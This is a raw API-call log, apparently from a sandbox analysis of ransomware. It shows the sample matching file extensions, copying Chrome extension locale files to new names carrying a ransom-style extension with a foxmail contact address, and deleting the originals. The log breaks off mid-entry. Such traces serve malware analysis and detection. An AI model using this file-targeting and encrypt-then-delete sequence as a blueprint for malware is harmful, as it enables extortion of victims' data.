1 [0174.931] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json")) returned 1 [0174.931] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json") returned 139 [0174.931] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json") returned 139 [0174.931] lstrlenW (lpString=".doc") returned 4 [0174.931] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.932] lstrlenW (lpString=".docx") returned 5 [0174.932] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.932] lstrlenW (lpString=".pdf") returned 4 [0174.932] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.932] lstrlenW (lpString=".xls") returned 4 [0174.932] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.932] lstrlenW (lpString=".xlsx") returned 5 [0174.932] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.932] lstrlenW (lpString=".ppt") returned 4 [0174.932] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.932] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json") returned 139 [0174.932] lstrlenW (lpString=".zip") returned 4 [0174.932] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.932] lstrlenW (lpString=".rar") returned 4 [0174.932] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.932] lstrlenW (lpString=".bz2") returned 4 [0174.932] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.932] lstrlenW (lpString=".7z") returned 3 [0174.932] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.932] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json") returned 139 [0174.932] lstrlenW (lpString=".dbf") returned 4 [0174.932] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.932] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json") returned 139 [0174.932] lstrlenW (lpString=".1cd") returned 4 [0174.932] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.932] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json") returned 139 [0174.932] lstrlenW (lpString=".jpg") returned 4 [0174.932] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json") returned 139 [0174.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json") returned 139 [0174.933] lstrlenW (lpString=".doc") returned 4 [0174.933] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.933] lstrlenW (lpString=".docx") returned 5 [0174.933] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.933] lstrlenW (lpString=".pdf") returned 4 [0174.933] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.933] lstrlenW (lpString=".xls") returned 4 [0174.933] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.933] lstrlenW (lpString=".xlsx") returned 5 [0174.933] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.933] lstrlenW (lpString=".ppt") returned 4 [0174.933] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json") returned 139 [0174.933] lstrlenW (lpString=".zip") returned 4 [0174.933] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.933] lstrlenW (lpString=".rar") returned 4 [0174.933] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.933] lstrlenW (lpString=".bz2") returned 4 [0174.933] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.933] lstrlenW (lpString=".7z") returned 3 [0174.933] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json") returned 139 [0174.933] lstrlenW (lpString=".dbf") returned 4 [0174.933] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json") returned 139 [0174.933] lstrlenW (lpString=".1cd") returned 4 [0174.933] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json") returned 139 [0174.934] lstrlenW (lpString=".jpg") returned 4 [0174.934] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.934] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.934] lstrlenW (lpString="messages.json") returned 13 [0174.934] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.935] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=254) returned 1 [0174.935] CloseHandle (hObject=0x1ac) returned 1 [0174.935] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json")) returned 0x2020 [0174.935] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.935] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.935] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.935] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.936] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.936] GetLastError () returned 0x0 [0174.936] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xfe, lpOverlapped=0x0) returned 1 [0174.937] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x100, lpOverlapped=0x0) returned 1 [0174.938] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.938] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.938] SetEndOfFile (hFile=0x124) returned 1 [0174.938] CloseHandle (hObject=0x124) returned 1 [0174.938] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.938] SetEndOfFile (hFile=0x1ac) returned 1 [0174.939] CloseHandle (hObject=0x1ac) returned 1 [0174.939] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.939] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json")) returned 1 [0174.940] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json") returned 151 [0174.940] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json") returned 151 [0174.940] lstrlenW (lpString=".doc") returned 4 [0174.940] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.940] lstrlenW (lpString=".docx") returned 5 [0174.940] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.940] lstrlenW (lpString=".pdf") returned 4 [0174.940] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.940] lstrlenW (lpString=".xls") returned 4 [0174.940] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.940] lstrlenW (lpString=".xlsx") returned 5 [0174.940] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.940] lstrlenW (lpString=".ppt") returned 4 [0174.940] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.940] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json") returned 151 [0174.940] lstrlenW (lpString=".zip") returned 4 [0174.940] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.940] lstrlenW (lpString=".rar") returned 4 [0174.940] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.940] lstrlenW (lpString=".bz2") returned 4 [0174.940] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.940] lstrlenW (lpString=".7z") returned 3 [0174.940] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.940] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json") returned 151 [0174.940] lstrlenW (lpString=".dbf") returned 4 [0174.940] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.940] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json") returned 151 [0174.940] lstrlenW (lpString=".1cd") returned 4 [0174.941] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.941] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json") returned 151 [0174.941] lstrlenW (lpString=".jpg") returned 4 [0174.941] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.941] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json") returned 151 [0174.941] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json") returned 151 [0174.941] lstrlenW (lpString=".doc") returned 4 [0174.941] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.941] lstrlenW (lpString=".docx") returned 5 [0174.941] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.941] lstrlenW (lpString=".pdf") returned 4 [0174.941] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.941] lstrlenW (lpString=".xls") returned 4 [0174.941] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.941] lstrlenW (lpString=".xlsx") returned 5 [0174.941] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.941] lstrlenW (lpString=".ppt") returned 4 [0174.941] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.941] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json") returned 151 [0174.941] lstrlenW (lpString=".zip") returned 4 [0174.941] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.941] lstrlenW (lpString=".rar") returned 4 [0174.941] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.941] lstrlenW (lpString=".bz2") returned 4 [0174.941] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.941] lstrlenW (lpString=".7z") returned 3 [0174.941] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.942] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json") returned 151 [0174.942] lstrlenW (lpString=".dbf") returned 4 [0174.942] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.942] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json") returned 151 [0174.942] lstrlenW (lpString=".1cd") returned 4 [0174.942] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.942] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json") returned 151 [0174.942] lstrlenW (lpString=".jpg") returned 4 [0174.942] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.942] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.942] lstrlenW (lpString="messages.json") returned 13 [0174.942] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.942] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=303) returned 1 [0174.943] CloseHandle (hObject=0x1ac) returned 1 [0174.943] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json")) returned 0x2020 [0174.943] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.943] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.943] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.943] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.943] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.943] GetLastError () returned 0x0 [0174.944] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x12f, lpOverlapped=0x0) returned 1 [0174.945] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x130, lpOverlapped=0x0) returned 1 [0174.946] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.946] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.946] SetEndOfFile (hFile=0x124) returned 1 [0174.946] CloseHandle (hObject=0x124) returned 1 [0174.946] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.946] SetEndOfFile (hFile=0x1ac) returned 1 [0175.178] CloseHandle (hObject=0x1ac) returned 1 [0175.178] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.178] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json")) returned 1 [0175.178] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json") returned 151 [0175.178] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json") returned 151 [0175.178] lstrlenW (lpString=".doc") returned 4 [0175.179] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.179] lstrlenW (lpString=".docx") returned 5 [0175.179] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.179] lstrlenW (lpString=".pdf") returned 4 [0175.179] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.179] lstrlenW (lpString=".xls") returned 4 [0175.179] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.179] lstrlenW (lpString=".xlsx") returned 5 [0175.179] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.179] lstrlenW (lpString=".ppt") returned 4 [0175.179] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.179] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json") returned 151 [0175.179] lstrlenW (lpString=".zip") returned 4 [0175.179] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.179] lstrlenW (lpString=".rar") returned 4 [0175.179] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.179] lstrlenW (lpString=".bz2") returned 4 [0175.179] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.179] lstrlenW (lpString=".7z") returned 3 [0175.179] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.179] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json") returned 151 [0175.179] lstrlenW (lpString=".dbf") returned 4 [0175.179] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.179] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json") returned 151 [0175.179] lstrlenW (lpString=".1cd") returned 4 [0175.179] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.179] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json") returned 151 [0175.179] lstrlenW (lpString=".jpg") returned 4 [0175.179] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.179] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json") returned 151 [0175.180] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json") returned 151 [0175.180] lstrlenW (lpString=".doc") returned 4 [0175.180] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.180] lstrlenW (lpString=".docx") returned 5 [0175.180] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.180] lstrlenW (lpString=".pdf") returned 4 [0175.180] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.180] lstrlenW (lpString=".xls") returned 4 [0175.180] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.180] lstrlenW (lpString=".xlsx") 